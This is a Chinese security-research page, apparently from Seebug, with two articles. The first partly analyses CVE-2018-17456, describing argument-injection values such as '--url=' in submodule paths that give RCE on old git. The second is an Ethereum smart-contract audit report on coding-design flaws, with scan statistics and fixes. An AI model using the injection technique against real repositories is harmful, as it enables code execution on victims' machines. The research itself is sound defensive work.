    设置好了PoC,再试一次,发现还是报错失败,主要问题如下:

    来解析下该命令:

    我们把{url}设置为参数以后,/home/ubuntu/evilrepo/{path}就变成源地址了,该地址被判断为本地源目录,所以会查找该目录下的.git文件,但是之前说了,因为该目录被远程设置为软连接,所以clone到本地不会有其他文件,所以该目录是不可能存在.git目录的,因此该命令执行失败

    再来看看是什么命令调用的该命令:

    解析下该命令:

    path, name, url都是我们可控的,但是都存在过滤,过滤规则同上面说的url白名单过滤规则。

    该命令函数 -> [5]

    我考虑过很多,path或name设置成--url=xxxxx

    都失败了,因为--path--name参数之后没有其他数据了,所以--url=xxxx都会被解析成name或path,这里就缺一个空格,但是如果存在空格,该数据则会被加上单引号,目前想不出bypass的方法

    所以该命令的利用上毫无进展。。。。

    所以关注点又回到了上一个git clone命令上:

    /home/ubuntu/evilrepo/.git/modules/{name}路径是直接使用上面代码进行拼接,也找不到绕过的方法

    最后就是/home/ubuntu/evilrepo/{path},如果git能把这个解析成远程地址就好了,所以想了个构造思路:/home/ubuntu/evilrepo/git@github.com:Hcamael/hello-world.git

    但是失败了,还是被git解析成本地路径,看了下path的代码:

    因为git@github.com:Hcamael/hello-world.git被判断为非绝对路径,所以在前面加上了当前目录的路径,到这就陷入了死胡同了找不到任何解决办法

    RCE

    在不断的研究后发现,path=git@github.com:Hcamael/hello-world.git在低版本的git中竟然执行成功了。

    首先看图:

    使用的是ubuntu 16.04,默认的git是2.7.4,然后查了下该版本git的源码,发现该版本中并没有下面这几行代码

    所以构造的命令变成了:

    之后把我执行成功的结果和@_staaldraad推文中的截图进行对比,发现几乎是一样的,所以猜测这个人复现的git环境也是使用低版本的git

    总结

    之后翻了下git的提交历史,发现2016年就已经添加了对path是否是绝对路径的判断。根据我的研究结果,CVE-2018-17456漏洞可以造成git选项参数注入,但是只有低版本的git才能根据该CVE造成RCE的效果。

    引用

    1. https://blog.github.com/2018-10-05-git-submodule-vulnerability/
    2. https://0x48.pw/git/
    3. https://0x48.pw/git/git/quote.c.html#sq_quote_buf_pretty
    4. https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/
    5. https://0x48.pw/git/git/builtin/submodule--helper.c.html#module_clone

     

    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/716/

    作者:Nanako | Categories:安全研究技术分享 | Tags:
  • 以太坊合约审计 CheckList 之“以太坊智能合约编码设计问题”影响分析报告

    2018-09-25
    作者:LoRexxar'@知道创宇404区块链安全研究团队
    时间:2018年9月21日
    系列文章:

    一、简介

    在知道创宇404区块链安全研究团队整理输出的《知道创宇以太坊合约审计CheckList》中,把“地址初始化问题”、“判断函数问题”、“余额判断问题”、“转账函数问题”、“代码外部调用设计问题”、“错误处理”、“弱随机数问题”等问题统一归类为“以太坊智能合约编码设计问题”。

    “昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台。我们利用该平台针对上述提到的《知道创宇以太坊合约审计CheckList》中“以太坊智能合约编码设计”类问题在全网公开的智能合约代码做了扫描分析。详见下文:

    二、漏洞详情

    以太坊智能合约是以太坊概念中非常重要的一个概念,以太坊实现了基于solidity语言的以太坊虚拟机(Ethereum Virtual Machine),它允许用户在链上部署智能合约代码,通过智能合约可以完成人们想要的合约。

    这次我们提到的编码设计问题就和EVM底层的设计有很大的关系,由于EVM的特性,智能合约有很多与其他语言不同的特性,当开发者没有注意到这些问题时,就容易出现潜在的问题。

    1、地址初始化问题

    在EVM中,所有与地址有关的初始化时,都会赋予初值0。

    如果一个address变量与0相等时,说明该变量可能未初始化或出现了未知的错误。

    如果开发者在代码中初始化了某个address变量,但未赋予初值,或用户在发起某种操作时,误操作未赋予address变量,但在下面的代码中需要对这个变量做处理,就可能导致不必要的安全风险。

    2、判断函数问题

    在智能合约中,有个很重要的校验概念。下面这种问题的出现主要是合约代币的内部交易。

    但如果在涉及到关键判断(如余额判断)等影响到交易结果时,当交易发生错误,我们需要对已经执行的交易结果进行回滚,而EVM不会检查交易函数的返回结果。如果我们使用return false,EVM是无法获取到这个错误的,则会导致在之前的文章中提到的假充值问题

    在智能合约中,我们需要抛出这个错误,这样EVM才能获取到错误触发底层的revert指令回滚交易。

    而在solidity扮演这一角色的,正是require函数。而有趣的是,在solidity中,还有一个函数叫做assert,和require不同的是,它底层对应的是空指令,EVM执行到这里时就会报错退出,不会触发回滚。

    转化到直观的交易来看,如果我们使用assert函数校验时,assert会消耗掉所有剩余的gas。而require会触发回滚操作。

    assert在校验方面展现了强一致性,除了对固定变量的检查以外,require更适合这种情况下的使用。

    3、余额判断问题

    在智能合约中,经常会出现对用户余额的判断,尤其是账户初建时,许多合约都会对以合约创建时余额为0来判断合约的初建状态,这是一种错误的行为。

    在智能合约中,永远无法阻止别人向你的强制转账,即使fallback函数throw也不可以。攻击者可以创建带有余额的新合约,然后调用selfdestruct(victimAddress)销毁,这样余额就会强制转移给目标,在这个过程中,不会调用目标合约的代码,所以无法从代码层面阻止。

    值得注意的是,在打包的过程中,攻击者可以通过条件竞争来在合约创建前转账,这样在合约创建时余额就为0了。

    4、转账函数问题

    在智能合约中,涉及到转账的操作最常见不过了。而在solidity中,提供了两个函数用于转账tranfer/send。

    当tranfer/send函数的目标是合约时,会调用合约内的fallback函数。但当fallback函数执行错误时,transfer函数会抛出错误并回滚,而send则会返回false。如果在使用send函数交易时,没有及时做判断,则可能出现转账失败却余额减少的情况。

    上面给出的代码中使用 send() 函数进行转账,因为这里没有验证 send() 返回值,如果msg.sender 为合约账户 fallback() 调用失败,则 send() 返回false,最终导致账户余额减少了,钱却没有拿到。

    5、代码外部调用设计问题

    在智能合约的设计思路中,有一个很重要的概念为外部调用。或是调用外部合约,又或是调用其它账户。这在智能合约的设计中是个很常见的思路,最常见的便是转账操作,就是典型的外部调用。

    但外部调用本身就是一个容易发生错误的操作,谁也不能肯定在和外部合约/用户交互时能确保顺利,举一个合约代币比较常见的例子

    上述代码当转账发生错误时可能会导致进一步其他的错误,如果碰到循环调用bid函数时,更可能导致循环到中途发生错误,在之前提到的ddos优化问题中,这也是一个很典型的例子。

    而这就是一个典型的push操作,指合约主动和外部进行交互,这种情况容易出现问题是难以定位难以弥补,导致潜在的问题。

    6、错误处理

    智能合约中,有一些涉及到address底层操作的方法

    他们都有一个典型的特点,就是遇到错误并不会抛出错误,而是会返回错误并继续执行。

    且作为EVM设计的一部分,下面这些函数如果调用的合约不存在,将会返回True。如果合约开发者没有注意到这个问题,那么就有可能出现问题。

    http://rickgray.me/2018/05/26/ethereum-smart-contracts-vulnerabilities-review-part2/#4-Unchecked-Return-Values-For-Low-Level-Calls

    7、弱随机数问题

    智能合约是借助EVM运行,跑在区块链上的合约代码。其最大的特点就是公开和不可篡改性。而如何在合约上生成随机数就成了一个大问题。

    Fomo3D合约在空投奖励的随机数生成中就引入了block信息作为随机数种子生成的参数,导致随机数种子只受到合约地址影响,无法做到完全随机。

    上述这段代码直接导致了Fomo3d薅羊毛事件的诞生。真实世界损失巨大,超过数千eth。

    8万笔交易「封死」以太坊网络,只为抢夺Fomo3D大奖? Last Winner

    三、漏洞影响范围

    使用Haotian平台智能合约审计功能可以准确扫描到该类型问题。

    基于Haotian平台智能合约扫描功能规则,我们对全网的公开的共42538个合约代码进行了扫描,其中35107个合约存在地址初始化问题,4262个合约存在判断函数问题,173个合约存在余额判断问题,930个合约存在转账函数问题, 349个合约存在弱随机数问题,2300个合约调用了block.timestamp,过半合约涉及到这类安全风险。

    1、地址初始化问题

    截止2018年9月21日,我们发现了35107个存在地址初始化问题的合约代码,存在潜在的安全隐患。

    2、判断函数问题

    截止2018年9月21日,我们发现了4262个存在判断函数问题的合约代码,存在潜在的安全隐患。

    3、余额判断问题

    截止2018年9月21日,我们发现了173个存在余额判断问题的合约代码,其中165个仍处于交易状态,其中交易量最高的10个合约情况如下:

    4、转账函数问题

    截止2018年9月21日,我们发现了930个存在转账函数问题的合约代码,其中873个仍处于交易状态,其中交易量最高的10个合约情况如下:

    5、弱随机数问题

    截止2018年9月21日,我们发现了349个存在弱随机数问题的合约代码,其中272个仍处于交易状态,其中交易量最高的10个合约情况如下:

    截止2018年9月21日,我们发现了2300个存在调用了block.timestamp的合约代码,其中2123个仍处于交易状态,其中交易量最高的10个合约情况如下:

    四、修复方式

    1、地址初始化问题

    涉及到地址的函数中,建议加入require(_to!=address(0))验证,有效避免用户误操作或未知错误导致的不必要的损失

    2、判断函数问题

    对于正常的判断来说,优先使用require来判断结果。

    而对于固定变量的检查,使用assert函数可以避免一些未知的问题,因为他会强制终止合约并使其无效化,在一些固定条件下,assert更适用

    3、余额判断问题

    不要在合约任何地方假设合约的余额,尤其是不要通过创建时合约为0来判断合约初建状态,攻击者可以使用多种方式强制转账。

    4、转账函数问题

    在完成交易时,默认推荐使用transfer函数而不是send完成交易。

    5、代码外部调用设计问题

    对于外部合约优先使用pull而不是push。如上述的转账函数,可以通过赋予提取权限来将主动行为转换为被动行为

    通过构建withdraw来使用户来执行合约将余额取出。

    6、错误处理

    合约中涉及到call等在address底层操作的方法时,做好合理的错误处理

    包括目标合约不存在时,也同样需要考虑。

    7、弱随机数问题

    智能合约上随机数生成方式需要更多考量

    在合约中关于这样的应用时,考虑更合适的生成方式和合理的利用顺序非常重要。

    这里提供一个比较合理的随机数生成方式hash-commit-reveal,即玩家提交行动计划,然后行动计划hash后提交给后端,后端生成相应的hash值,然后生成对应的随机数reveal,返回对应随机数commit。这样,服务端拿不到行动计划,客户端也拿不到随机数。

    有一个很棒的实现代码是dice2win的随机数生成代码。

    当然hash-commit在一些简单场景下也是不错的实现方式。即玩家提交行动计划的hash,然后生成随机数,然后提交行动计划。

    五、一些思考

    在探索智能合约最佳实践的过程中,逐渐发现,在智能合约中有很多只有智能合约才会出现的问题,这些问题大多都是因为EVM的特殊性而导致的特殊特性,但开发者并没有对这些特性有所了解,导致很多的潜在安全问题诞生。

    我把这一类问题归结为编码设计问题,开发者可以在编码设计阶段注意这些问题,可以避免大多数潜在安全问题。


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/707/

    作者:Nanako | Categories:安全研究技术分享 | Tags: